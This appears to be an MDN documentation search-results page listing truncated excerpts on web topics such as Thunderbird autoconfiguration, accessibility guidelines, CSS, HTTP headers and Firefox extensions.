ISPs with a market share of more than 0.1% are included. This allows to autoconfigure almost 50% of our user's email accounts. It was added because we cannot assume that all big ISPs (including Microsoft) will set up a configuration server for Thunderbird. Configuration server at ISP ISPs have the option to provide their configuration information themselves directly to users, by setting up a
web server at autoconfig.<domain>, which simply returns a static XML file with the configuration, as described below. For more complicated setups, for example when the login name does not appear in the email address, the XML file can also be generated by the ISP. In such complicated cases, this is the only way to allow an automatic setup. Configuration file on harddisk Local administrators may pla...
... configuration server (or rely on DNS MX). If you are a small company installing Thunderbird on your employees' desktops, you can place a configuration file in the Thunderbird installation folder. ISPDB Database URL is <https://autoconfig.thunderbird.net/v1.1/>, append domain name, e.g. <https://autoconfig.thunderbird.net/v1.1/freenet.de>. Current process: File a bug in Bugzilla, Product "
Webtools", Component "ISPDB Database Entries", with a configuration file that matches the requirements described below. The component is actively watched for new bugs (as of November 2015) so there is no need to request review on the file. Configuration server at ISP Given the email address "fred@example.com", Thunderbird checks <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fre...
...@example.com> (preferred) and <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> and the same URLs with http (see section SSL below). The results are used in this order of preference. If possible, please use <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com>. Small company If you are a small company, you can put the XML configuration file on your
web server, at URL <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> pointing to an XML file. Domain hoster If you are an ISP that hosts domains for your customers - for example, you are hoster.com and your customer registers fancy.com or example.com, and your servers accept and serve the mail for example.com -, you should set up an autoconfig server. DNS For each customer domain,...
...And 2 more matches
Deprecated tools - Firefox Developer Tools
tal panels to try out new ideas. Not all of these have had wide adoption, and due to the cost of maintenance, seldom used panels are eventually removed. We have created this list of deprecated or removed panels. This page documents the deprecated panels and the bugs that track their removal. Although these panels have been removed, you still have access to the old code, and there are alternative
webextensions that you can try to get similar functionality. When we deprecate a panel, we begin by getting feedback from the community to determine the impact of removing that panel. Once we have decided to remove the panel, we will provide a warning message, and finally, we will remove the panel from the codebase. You may see a warning message, as in the following image, when trying to activate a...
... addition, if you open the panel for one of these tools, you will also see a warning message about its removal. Scratchpad Scratchpad is deprecated as of Firefox 70 (bug 1565380), and will be removed as of Firefox 72 (bug 1519103). Description Scratchpad provided an environment for experimenting with JavaScript code. You can write, run, and examine the result of code that interacts with the
web page. Alternatives In Firefox 71+, you can write multi-line JavaScript code in the
Web Console Editor Mode, making it similar to the Scratchpad. The Editor Mode can be triggered clicking on the icon on the right of the console input, or with Ctrl + B (Cmd + B on macOS) When in Editor Mode, the Enter key adds a new line in the input, and you can evaluate the expression using Ctrl + Enter (Cmd...
...ut, providing immediate feedback. Unlike in Scratchpad, errors are properly displayed in the output with an expandable stacktrace, making it easier to debug the code you're currently writing. Starting Firefox 72, you can import a Javascript file content in the console input with Ctrl + O (Cmd + O on macOS), as well as saving the console input content to a file using Ctrl + S (Cmd + S on macOS).
WebIDE and Connect page
WebIDE was deprecated as of Firefox 69 Disabled as of Firefox 70 (bug 1539451). Removed as of Firefox 71 (bug 1539462). Description
WebIDE allowed you to connect the Firefox Developer Tools to remote browsers, such as Firefox for Android. It was also intended to support application development for Firefox OS. Alternatives Remote debugging is available in about:debuggi...
...And 2 more matches
Operable - Accessibility
This article provides practical advice on how to write your
web content so that it conforms to the success criteria outlined in the Operable principle of the
Web Content Accessibility Guidelines (WCAG) 2.0 and 2.1. Operable states that user interface components and navigation must be operable. Note: To read the W3C definitions for Operable and its guidelines and success criteria, see Principle 2: Operable -- User interface components and navigation must be operable. Guideline 2.1 -- Keyboard Accessible: Make all functionality available from a keyboard This guideline covers the necessity of making core
website functionality available via a keyboard in addition to other means (e.g. mouse), so that users that rely on keyboard controls can access them. Success criteria H...
... 2.2.1, stating that content that wants to pass AAA conformance should have no time limits. 2.2.4 Surpress interruptions (AAA) Any interruptions such as alerts or interstitial adverts should have functionality available to suppress or postpone them, unless it is an emergency alert. 2.2.5 Re-authenticating (AAA) If an authentication session expires during usage of a
web app, the user can re-authenticate and continue their usage without losing any data. 2.2.6 Timeouts (AAA) added in 2.1 If there is a timeout (caused by user inactivity) warn users at the start of a process so they will not be surprised that a timeout exists (or only allow the timeout to occur after 20 hours of inactivity. Understanding Timeouts Note: Also see t...
...s is often achieved using "skip links" -- links put at the top of the page source that link to the main content and are hidden by CSS. If a proper structure of headings and semantic containers is provided to navigate with (for example <section>, <aside>, etc.), then an added "skip link" is not needed. Need to add a section on "skip links". 2.4.2 Include page title (A) Each
web page should include an informative <title>, the content of which describes the page's content/purpose. See Adding a title. 2.4.3 Logical focus order (A) The "tabbing order" of focusable page features (e.g. links, buttons, form inputs) makes logical sense, meaning that the page is still usable by non-sighted/keyboard users. See UI controls for general advice on tabbing to control...
...And 2 more matches
Understandable - Accessibility
Understandable states that information and the operation of user interface must be understandable. Note: To read the W3C definitions for Understandable and its guidelines and success criteria, see Principle 3: Understandable -- Information and the operation of user interface must be understandable. Guideline 3.1 -- Readable: Make text content readable and understandable This guideline focuses on making text content as understandable as possible. ...
...rstandable -- Information and the operation of user interface must be understandable. Guideline 3.1 -- Readable: Make text content readable and understandable This guideline focuses on making text content as understandable as possible. Success criteria How to conform to the criteria Practical resource 3.1.1 Language of Page (A) The default human language of each
web page should be detectable via code. This is essential for purposes like making sure the reader has arrived at a page written in a language suitable for them. The simplest way to achieve this is to set the lang attribute on the page's <html> element, giving it a value equal to the language code that best represents the language the page is written in. See Setting the primary language of the doc...
...ct pronounciation, and it also makes sense to include a textual pronounciation guide after difficult words, in the same way that you find in dictionary entries. See Video and audio content, and Pronunciation Guide for English Dictionary Note: Also see the WCAG description for Guideline 3.1 Readable: Make text content readable and understandable. Guideline 3.2 -- Predictable: Make
Web pages appear and operate in predictable ways This guideline focuses on making user interfaces intuitive and understandable. Success criteria How to conform to the criteria Practical resource 3.2.1 On Focus (A) When a control or other page feature receives focus, it should not change the context in a way that may confuse or disorientate the user. This is ...
...And 2 more matches
@supports - CSS: Cascading Style Sheets
lowing example returns true if at least one of the two shorter expressions is true: @supports (transform-style: preserve) or (-moz-transform-style: preserve) {} Multiple disjunctions can be juxtaposed without the need of more parentheses. The following are both equivalent: @supports (transform-style: preserve) or (-moz-transform-style: preserve) or (-o-transform-style: preserve) or (-
webkit-transform-style: preserve) {} @supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or ((-o-transform-style: preserve-3d) or (-
webkit-transform-style: preserve-3d))) {} Note: When using both and and or operators, the parentheses must be used to define the order in which they apply. Otherwise, the condition is invalid and the whole rule is ignored. For...
...='<attr-modifier> = i | s Examples Testing for the support of a given CSS property @supports (animation-name: test) { ... /* CSS applied when animations are supported without a prefix */ @keyframes { /* Other at-rules can be nested inside */ ... } } Testing for the support of a given CSS property or a prefixed version @supports ((perspective: 10px) or (-moz-perspective: 10px) or (-
webkit-perspective: 10px) or (-ms-perspective: 10px) or (-o-perspective: 10px)) { ... /* CSS applied when 3D transforms, prefixed or not, are supported */ } Testing for the non-support of a specific CSS property @supports not ((text-align-last: justify) or (-moz-text-align-last: justify)) { ... /* CSS to provide fallback alternative for text-align-last: justify */ } Testing for the s...
...e definition of '@supports' in that specification. Candidate Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
Viewport concepts - CSS: Cascading Style Sheets
That is, the part of the document you are viewing. Documents like this article may be very long. ...
...ed into view. On larger monitors where applications aren't necessarily full screen, the viewport is the size of the browser window. On most mobile devices and when the browser is in fullscreen mode, the viewport is the entire screen. In fullscreen mode, the viewport is the device screen, the window is the browser window, which can be as big as the viewport or smaller, and the document is the
website, which can be much taller or wider than the viewport. To recap, the viewport is basically the part of the document that is currently visible. Viewport sizes are mutable The width of the viewport is not always the width of the window. If you query the width or height of the window and document in Chrome or Firefox, you may get: document.documentElement.clientWidth /* 1200 */ window.innerW...
...op and bottom of the layout viewport respectively. body > header { position: fixed; top: 0; } body > footer { position: fixed; bottom: 0; } We got the 800 x 533 measurement when we zoomed in using the keyboard. The header and footer stayed flush against the top and bottom of the window. But what if we had pinched-zoomed on a tablet? What if a dynamic keyboard pops open on a phone? The
web contains two viewports, the layout viewport and the visual viewport. The visual viewport is the part of the
web page that is currently visible in the browser and can change. When the user pinch-zooms the page, pops open a dynamic keyboard, or when a previously hidden address bar becomes visible, the visual viewport shrinks but the layout viewport is unchanged. Sticky headers or footers, as discu...
...And 2 more matches
outline-color - CSS: Cascading Style Sheets
ments to the outline property. If the color of the outline is adjusted, it is important to ensure that the contrast ratio between it and the background the outline is placed over is high enough that people experiencing low vision conditions will be able to perceive it. Color contrast ratio is determined by comparing the luminosity of the text and background color values. ...
...periencing low vision conditions will be able to perceive it. Color contrast ratio is determined by comparing the luminosity of the text and background color values. In order to meet current
Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.
WebAIM: Color Contrast Checker MDN Understanding WCAG, Guideline 1.4 explanations Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0 Formal definition Initial valueinvert, for browsers supporting it, currentColor for the otherApplies toall elementsInheritednoComputed valueFor the keyword invert, the computed value is invert. For the color value, if the value is translucent, the ...
... 1)The definition of 'outline-color' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 2 more matches
<shape> - CSS: Cascading Style Sheets
e definition of '<shape>' in that specification. Recommendation Defines with the clip property. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tedChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 5.5Opera Full support 9.5Safari Full support 1.3
WebView Android Full support 37Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 14Safari iOS Full support 1Samsung Internet Android ...
... 5.5Notes Notes For Internet Explorer versions 5.5 through 7, the rect() function uses spaces (instead of commas) to separate parameters. ...
...And 2 more matches
Ajax - Developer guides
Started An introduction to Ajax. Asynchronous JavaScript and XML, while not a technology in itself, is a term coined in 2005 by Jesse James Garrett, that describes a "new" approach to using a number of existing technologies together, including HTML or XHTML, CSS, JavaScript, DOM, XML, XSLT, and most importantly the XMLHttpRequest object. When these technologies are combined in the Ajax model,
web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page. This makes the application faster and more responsive to user actions. Although X in Ajax stands for XML, JSON is used more than XML nowadays because of its many advantages such as being lighter and a part of JavaScript. Both JSON and XML are used for packaging information in...
...ives you two simple hands-on examples to get you started. Using the XMLHttpRequest API The XMLHttpRequest API is the core of Ajax. This article will explain how to use some Ajax techniques, like: Analyzing and manipulating the response of the server Monitoring the progress of a request Submitting forms and upload binary files - in pure Ajax, or using FormData objects Using Ajax within
Web workers Fetch API The Fetch API provides an interface for fetching resources. It will seem familiar to anyone who has used XMLHTTPRequest, but this API provides a more powerful and flexible feature set. Server-sent events Traditionally, a
web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possibl...
...I provides an interface for fetching resources. It will seem familiar to anyone who has used XMLHTTPRequest, but this API provides a more powerful and flexible feature set. Server-sent events Traditionally, a
web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a
web page at any time, by pushing messages to the
web page. These incoming messages can be treated as Events + data inside the
web page. See also: Using server-sent events. Pure-Ajax navigation example This article provides a working (minimalist) example of a pure-Ajax
website composed only of three pages. Sending and Receiving Binary Data The responseType property of the XMLHttpRequest object can...
...And 2 more matches
HTML5 Parser - Developer guides
The new parser is faster, complies with the HTML5 standard, and enables a lot of new functionality as well. The new parser introduces these major improvements: You can now use SVG and MathML inline in HTML5 pages, without XML namespace syntax. Parsing is now done in a separate thread from Firefox's main UI thread, improving overall browser responsiveness. ...
...roving overall browser responsiveness. Calls to innerHTML are a lot faster. Dozens of long-standing parser related bugs are now fixed. The HTML5 specification provides a more detailed description than previous HTML standards of how to turn a stream of bytes into a DOM tree. This will result in more consistent behavior across browser implementations. In other words, in supporting HTML5, Gecko,
WebKit, and Internet Explorer (IE) will behave more consistently with each other. Changed parser behaviors Some changes to the way that the Gecko 2 parser behaves, as compared to earlier versions of Gecko, may affect
web developers, depending on how you've written your code in the past and what browsers you've tested it on. Tokenization of left angle-bracket within a tag Given the string <foo<bar...
...he Gecko 2 parser behaves, as compared to earlier versions of Gecko, may affect
web developers, depending on how you've written your code in the past and what browsers you've tested it on. Tokenization of left angle-bracket within a tag Given the string <foo<bar>, the new parser reads it as one tag named foo<bar. This behavior is consistent with IE and Opera, and is different from Gecko 1.x and
WebKit, which read it as two tags, foo and bar. If you previously tested your code in IE and Opera, then you probably don't have any tags like this. If you tested your site only with Gecko 1.x or
WebKit (for example, Firefox-only intranets or
WebKit-oriented mobile sites), then you might have tags that match this pattern, and they will behave differently with Gecko 2. Calling document.write() during...
...And 2 more matches
Introduction to HTML5 - Developer guides
HTML5 is the fifth revision and newest version of the HTML standard. It offers new features that provide not only rich media support but also enhance support for creating
web applications that can interact with users, their local data, and servers more easily and effectively than was previously possible. Some HTML5 features remain unsupported by some browsers. However, Gecko, and by extension, Firefox, has very good support for HTML5, and work continues toward supporting more of its features. Gecko began supporting some HTML5 features in version 1.8.1. You can find a list of all of the HTML5 features that Gecko currently supports on the main HTML5 page. For detailed information about multiple browsers' support of HTML5 features, refer to the CanIUse
website. Declaring that the docum...
...hat is used. In previous versions of HTML, it was done using a very complex <meta> element. Now, it is very simple: <meta charset="UTF-8"> Place this right after your <head>, as some browsers restart the parsing of an HTML document if the declared character set is different from what they had anticipated. Also, if you are not currently using UTF-8, it's recommended that you switch to it in your
web pages, as it simplifies character handling in documents using different scripts. Note that HTML5 restricts character sets to those compatible with ASCII and using at least 8 bits. This was done to tighten security and prevent some types of attacks. Using the new HTML5 parser The parsing rules of HTML5, which analyze the meaning of mark-up, have been more precisely defined in HTML5. Until the i...
...ible with ASCII and using at least 8 bits. This was done to tighten security and prevent some types of attacks. Using the new HTML5 parser The parsing rules of HTML5, which analyze the meaning of mark-up, have been more precisely defined in HTML5. Until the introduction of HTML5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most
websites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way. This requirement helps
web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers...
...And 2 more matches
HTML: Hypertext Markup Language
HTML (HyperText Markup Language) is the most basic building block of the
Web. It defines the meaning and structure of
web content. Other technologies besides HTML are generally used to describe a
web page's appearance/presentation (CSS) or functionality/behavior (JavaScript). "Hypertext" refers to links that connect
web pages to one another, either within a single
website or between
websites. Links are a fundamental aspect of the
Web. By uploading content to the Internet and linking it to pages created by other people, you become an active participant in the World Wide
Web. HTML uses "markup" to annotate text, images, and other content for display in a
Web browser. HTML markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>,...
... text in a document by "tags", which consist of the element name surrounded by "<" and ">". The name of an element inside a tag is case insensitive. That is, it can be written in uppercase, lowercase, or a mixture. For example, the <title> tag can be written as <Title>, <TITLE>, or in any other way. The articles below can help you learn more about HTML. HTML Introduction If you're new to
Web development, be sure to read our HTML Basics article to learn what HTML is and how to use it. HTML Tutorials For articles about how to use HTML, as well as tutorials and complete examples, check out our HTML Learning Area. HTML Reference In our extensive HTML reference section, you'll find the details about every element and attribute in HTML. Looking to become a front-end
web deve...
...you need to work towards your goal. Get started Beginner's tutorials Our HTML Learning Area features multiple modules that teach HTML from the ground up -- no previous knowledge required. Introduction to HTML This module sets the stage, getting you used to important concepts and syntax such as looking at applying HTML to text, how to create hyperlinks, and how to use HTML to structure a
web page. Multimedia and embedding This module explores how to use HTML to include multimedia in your
web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other
webpages. HTML tables Representing tabular data on a
webpage in an understandable, accessible way can be a challenge. This module covers basic table markup, along with more co...
...And 2 more matches
Feature Policy - HTTP
This allows you to lock in best practices, even as the codebase evolves over time -- as well as to more safely compose third-party content -- by limiting which features are available. ...
... APIs in the browser. It is similar to Content Security Policy but controls features instead of security behavior. The Feature-Policy header has now been renamed to Permissions-Policy in the spec, and this article will eventually be updated to reflect that change. In a nutshell Feature Policy provides a mechanism to explicitly declare what functionality is used (or not used), throughout your
website. This allows you to lock in best practices, even as the codebase evolves over time -- as well as to more safely compose third-party content -- by limiting which features are available. With Feature Policy, you opt-in to a set of "policies" for the browser to enforce on specific features used throughout a
website. These policies restrict what APIs the site can access or modify the browser's d...
...cy via the FeaturePolicy object located at either Document.featurePolicy or HTMLIFrameElement.featurePolicy. Types of policy-controlled features Though Feature Policy provides control of multiple features using a consistent syntax, the behavior of policy controlled features varies and depends on several factors. The general principle is that there should be an intuitive or non-breaking way for
web developers to detect or handle the case when the feature is disabled. Newly introduced features may have an explicit API to signal the state. Existing features that later integrate with Feature Policy will typically use existing mechanisms. Some approaches include: Return "permission denied" for JavaScript APIs that require user permission grants. Return false or error from an existing JavaSc...
...And 2 more matches
Strict-Transport-Security - HTTP
Header type Response header Forbidden header name no Syntax Strict-Transport-Security: max-age=<expire-time> Strict-Transport-Security: max-age=<expire-time>; includeSubDomains Strict-Transport-Security: max-age=<expire-time>; preload Directives max-age=<expire-time> The time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS. includeSubDomains Optional If this optional parameter is specified, this rule applies to all of the site's subdomains as well. ...
...load Directives max-age=<expire-time> The time, in seconds, that the browser should remember that a site is only to be accessed using HTTPS. includeSubDomains Optional If this optional parameter is specified, this rule applies to all of the site's subdomains as well. preload Optional See Preloading Strict Transport Security for details. Not part of the specification. Description If a
website accepts a connection through HTTP and redirects to HTTPS, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com. This creates an opportunity for a man-in-the-middle attack. The redirect could be exploited to direct visitors to a malicious site instead of the secure vers...
...owser when your site is accessed using HTTP; this is because an attacker may intercept HTTP connections and inject the header or remove it. When your site is accessed over HTTPS with no certificate errors, the browser knows your site is HTTPS capable and will honor the Strict-Transport-Security header. An example scenario You log into a free WiFi access point at an airport and start surfing the
web, visiting your online banking service to check your balance and pay a couple of bills. Unfortunately, the access point you're using is actually a hacker's laptop, and they're intercepting your original HTTP request and redirecting you to a clone of your bank's site instead of the real thing. Now your private data is exposed to the hacker. Strict Transport Security resolves this problem; as long ...
...And 2 more matches
User-Agent - HTTP
The User-Agent request header is a characteristic string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Please read Browser detection using the user agent for why serving different
Web pages or services to different browsers is usually a bad idea. Header type Request header Forbidden header name no Syntax User-Agent: <product> / <product-version> <comment> Common format for
web browsers: User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions> Directives <product> A product identifier -- its name or development codename. <product-version> Version number of the product. <comment> Zero or more comments containing more details; s...
...: Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion Mozilla/5.0 is the general token that says the browser is Mozilla-compatible. For historical reasons, almost every browser today sends it. platform describes the native platform the browser is running on (Windows, Mac, Linux, Android, etc.), and if it's a mobile phone. Firefox OS phones simply say Mobile -- the
web is the platform. Note that platform can consist of multiple "; "-separated tokens. See below for further details and examples. rv:geckoversion indicates the release version of Gecko (such as "17.0"). In recent browsers, geckoversion is the same as firefoxversion. Gecko/geckotrail indicates that the browser is based on Gecko. (On Desktop, geckotrail is always the fixed string 20100101.) Firefox...
...). Examples Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0 Chrome UA string The Chrome (or Chromium/Blink-based engines) user agent string is similar to Firefox's. For compatibility, it adds strings like KHTML, like Gecko and Safari. ...
...And 2 more matches
A typical HTTP session - HTTP
on. Opening a connection in HTTP means initiating a connection in the underlying transport layer, usually this is TCP. With TCP the default port, for an HTTP server on a computer, is port 80. Other ports can also be used, like 8000 or 8080. The URL of a page to fetch contains both the domain name, and the port number, though the latter can be omitted if it is 80. See Identifying resources on the
Web for more details. Note: The client-server model does not allow the server to send data to the client without an explicit request for it. To work around this problem,
web developers use several techniques: ping the server periodically via the XMLHTTPRequest, Fetch APIs, using the
WebSockets API, or similar protocols. Sending a client request Once the connection is established, the user-agent ca...
...l does not allow the server to send data to the client without an explicit request for it. To work around this problem,
web developers use several techniques: ping the server periodically via the XMLHTTPRequest, Fetch APIs, using the
WebSockets API, or similar protocols. Sending a client request Once the connection is established, the user-agent can send the request (a user-agent is typically a
web browser, but can be anything else, a crawler, for example). A client request consists of text directives, separated by CRLF (carriage return, followed by line feed), divided into three blocks: The first line contains a request method followed by its parameters: the path of the document, i.e. an absolute URL without the protocol or domain name the HTTP protocol version Subsequent...
... sometimes referred as HTTP verbs. The most common requests are GET and POST: The GET method requests a data representation of the specified resource. Requests using GET should only retrieve data. The POST method sends data to a server so it may change its state. This is the method often used for HTML Forms. Structure of a server response After the connected agent has sent its request, the
web server processes it, and ultimately returns a response. Similar to a client request, a server response is formed of text directives, separated by CRLF, though divided into three blocks: The first line, the status line, consists of an acknowledgment of the HTTP version used, followed by a status request (and its brief meaning in human-readable text). Subsequent lines represent specific HTTP he...
...And 2 more matches
About JavaScript - JavaScript
It is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional programming styles. JavaScript runs on the client side of the
web, which can be used to design / program how the
web pages behave on the occurrence of an event. ...
... JS) is a lightweight, interpreted, object-oriented language with first-class functions, and is best known as the scripting language for
Web pages, but it's used in many non-browser environments as well. It is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional programming styles. JavaScript runs on the client side of the
web, which can be used to design / program how the
web pages behave on the occurrence of an event. JavaScript is an easy to learn and also powerful scripting language, widely used for controlling
web page behavior. Contrary to popular misconception, JavaScript is not "Interpreted Java". In a nutshell, JavaScript is a dynamic scripting language supporting prototype based object construction. The basi...
...d to the SpiderMonkey JavaScript engine over time. Work is always ongoing to improve JavaScript execution performance. Besides the above implementations, there are other popular JavaScript engines such as:- Google's V8, which is used in the Google Chrome browser and recent versions of Opera browser. This is also the engine used by Node.js. The JavaScriptCore (SquirrelFish/Nitro) used in some
WebKit browsers such as Apple Safari. Carakan in old versions of Opera. The Chakra engine used in Internet Explorer (although the language it implements is formally called "JScript" in order to avoid trademark issues). Each of Mozilla's JavaScript engines expose a public API which application developers can use to integrate JavaScript into their software. By far, the most common host environment ...
...And 2 more matches
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537 Learning XML, Second Edition Author: Erik T. Ray Length: 432 pages Publisher: O'Reilly Media; 2 edition (September 22, 2003) ISBN: 0596004206 As the title indicates, this is an overview of XML generally. Chapter 6 is devoted specifically to XSLT. ...
....amazon.com/Xslt-Doug-Tidwell/dp/0596000537 Learning XML, Second Edition Author: Erik T. Ray Length: 432 pages Publisher: O'Reilly Media; 2 edition (September 22, 2003) ISBN: 0596004206 As the title indicates, this is an overview of XML generally. Chapter 6 is devoted specifically to XSLT. ...
... Articles Hands-on XSL Author: Don R. ...
...And 2 more matches
content/worker - Archive of obsolete content
Globals Constructors Worker(options) Creates a content worker. ...
... Globals Constructors Worker(options) Creates a content worker. ...
... Globals Constructors Worker(options) Creates a content worker. ...
... Globals Constructors Worker(options) Creates a content worker. ...
Tutorials - Archive of obsolete content
simple add-on with the SDK, using jpm. Create user interfaces Add a toolbar button Attach a button to the Firefox Add-on toolbar. Add a menu item to Firefox Add items to Firefox's main menus. Display a popup Display a popup dialog implemented with HTML and JavaScript. Add a context menu item Add items to Firefox's context menu. ...
...h the SDK, using jpm. Create user interfaces Add a toolbar button Attach a button to the Firefox Add-on toolbar. Add a menu item to Firefox Add items to Firefox's main menus. Display a popup Display a popup dialog implemented with HTML and JavaScript. Add a context menu item Add items to Firefox's context menu. ...
...dd items to Firefox's main menus. Display a popup Display a popup dialog implemented with HTML and JavaScript. Add a context menu item Add items to Firefox's context menu. Interact with the browser Open a
web page Open a
web page in a new browser tab or window using the tabs module, and access its content. Listen for page load Use the tabs module to get notified when new
web pages are loaded, and access their content. Get the list of open tabs Use the tabs module to iterate through the currently open tabs, and access their content. ...
... Interact with the browser Open a
web page Open a
web page in a new browser tab or window using the tabs module, and access its content. Listen for page load Use the tabs module to get notified when new
web pages are loaded, and access their content. Get the list of open tabs Use the tabs module to iterate through the currently open tabs, and access their content. Modify
web pages Modify
web pages based on URL Create filters for
web pages based on their URL: whenever a
web page whose URL matches the filter is loaded, execute a specified script in it. Modify the active
web page Dynamically load a script into the currently active
web page. Development techniques Logging Log messages to the console for diagnostic purposes. Creating reusable m...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
hich stated that "any advertising for software using an modification of this source code must display the name of the original developer." This clause has been removed. The Modified BSD license is the version that does not include the advertising clause. Mozilla Public License (MPL) This is an OSS license created by Netscape and the Mozilla Organization. Netscape created it for its open-source
web browser. The Common Public License (CPL) and Eclipse Public License (EPL) are similar in substance. Because the CPL is written in such a way that it does not mention any software or company by name, you can use the CPL if you plan to use this kind of licensing. License characteristics If you modify source code that was published under this license, you are obliged to release it under the same ...
...sh your revised version at all. See the previously mentioned "scope of modification." Using the same license as the existing work is a straightforward option. If you are not going to be distributing the modified software at all, and will only be using it within your own organization, you need not release it. For example, if you are using an modified version of Linux as the operating system for a
web server, it's fine if you don't release it. Picking a license for original works If you are releasing source code you have developed yourself, you need to pick a license. But what kind of license? Yukihiro Matsumoto, the developer behind the Ruby scripting language, published a "free software license diagnostic" in his personal blog. It asks a series of questions, and your responses help you pic...
...any is considering releasing its own software as open source, it should consider dual-licensing or the CPL. Applying a license to original works If you want to release your own code as open-source, here's what you do next. Insert the license declaration in the top of every file in your source code; Include the full text of the license in your source-code archive; Place the source code on a
website or otherwise make it accessible; Tell all your friends. If you are using the Modified BSD License or MPL, place the full text in the top, not just the license declaration. If you are using the GPL or LGPL, use the declaration at the end of the license's full text as a template and insert that. See below. GPL License Declaration Template If you develop a new program, and you want it to be...
...r patented works, you can't do whatever you want with them. There are companies that have built businesses on open source by taking advantage of this fact. Red Hat Enterprise Linux (RHEL) cannot be copied or distributed with the Redhat trademark in place. A number of RHEL clones have appeared, such as CentOS, where the trademarked parts have been scrubbed away by a community effort. The Firefox
web browser, developed by the Mozilla Foundation, does not permit modifications of its name or trademarked icon. For this reason, the Debian project, which distributes free software as a volunteer effort, has a browser based on Firefox, but with a different name and logo. Document licenses As open-source software grows in popularity, people have begun thinking about applying its principles to conte...
Chapter 1: Introduction to Extensions - Archive of obsolete content
pers Conference Summer 2007. Emura-san is a co-author of Firefox 3 Hacks (O'Reilly Japan, 2008.) Introduction If you're reading this guide, you've probably used Firefox before. Perhaps the first time you looked at Firefox, you may have been surprised to see that it has a much simpler structure than other full-featured browsers, such as Opera or Safari. What features are considered standard for
web browsers these days? Perhaps things like fine-grained tab controls, mouse gestures, extensive toolbars and buttons, a feed reader, integration with a variety of
web applications, or sophisticated tools to assist with
web design. But we didn't set out to create an all-in-one browser that can satisfy everyone. Instead, Firefox can support these features through extensions. The core browser is limi...
...r Separates a URL's domain and path in the location bar for easier reading. Feature enhancing extensions FIXME: Update this. These extensions enhance features that already exist in Firefox. Tab Mix Plus Offers detailed tab-related settings. PrefBar Gives access to numerous preferences from the toolbar. NoScript Enables and disables JavaScript execution on a site-by-site basis.
Web application integration extensions FIXME: Update this. The use the APIs of certain
web applications to provide certain pieces of information. New feature extensions FIXME: Update this. Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability. GreaseMonkey UserChrome.js Both of these provide an environm...
...ons to provide certain pieces of information. New feature extensions FIXME: Update this. Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability. GreaseMonkey UserChrome.js Both of these provide an environment for running user scripts (JavaScript) in Firefox itself, where the scripts can target specific
websites. Adblock Plus Blocks the display of unwanted advertisements on
web pages. All-in-One Gestures Adds mouse-gesture functionality. Application level extensions FIXME: Update this. These are sophisticated extensions that can be considered full-scale applications in their own right, essentially using Firefox as the development platform. One-trick gag extensions FIXME: Update this. ...
...r own right, essentially using Firefox as the development platform. One-trick gag extensions FIXME: Update this. There are a number of one-trick gag extensions that aren't very useful. This is a very brief survey of a few extensions, but there are many other unique extensions available. Table 1: Advanced customization methods for Firefox Customization Method Does it work for
web sites? Does it work for Firefox? User style sheets (change appearance through CSS) Yes; you can change the userContent.css file, or use the Stylish extension. Yes; you can change the userChrome.css file, or use the Stylish extension. User scripts (change appearance and functionality through JavaScript) Yes; you can use the GreaseMonkey extensio...
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
o create them, right-click, select "New>Boolean", and type in the name and set the value accordingly. Install the DOM Inspector The DOM Inspector is an extension that lets you examine HTML and XUL DOM tree structures, JavaScript objects and CSS properties, etc. This is not required for developing extensions, but it is handy to have around. Install extensions for Firefox from the Mozilla Add-ons
website. Optional - Install Firebug and Chromebug Chromebug is used by the Firebug development team to develop Firebug. You can use it to help debug Firefox extensions as well as to inspect and learn how the Firefox UI (Chrome) is constructed. You can learn more about Chromebug and download it at http://getfirebug.com/wiki/index.php/Chromebug_User_Guide You may also find this extension to be v...
